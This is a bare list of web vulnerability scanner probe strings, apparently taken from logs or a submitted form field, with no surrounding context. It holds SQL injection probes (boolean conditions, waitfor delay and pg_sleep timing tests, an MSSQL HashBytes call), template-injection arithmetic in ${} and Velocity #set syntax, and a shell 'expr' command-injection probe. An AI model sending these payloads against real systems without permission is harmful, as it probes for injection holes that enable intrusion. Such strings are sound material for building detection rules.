123456 123456/**/and+2=2 ${817956209+911116005} 123456'and(select+1)>0waitfor/**/delay'0:0:2 123456'/**/and(select'1'from/**/pg_sleep(0))::text>'0 123456 expr 996826730 + 850235071 convert(int,sys.fn_sqlvarbasetostr(HashBytes('MD5','1414144769'))) #set($c=803662360+842566164)${c}$c 123456/**/and(select+1/**/from/**/pg_sleep(0))>0/**/ 123456'and'g'='g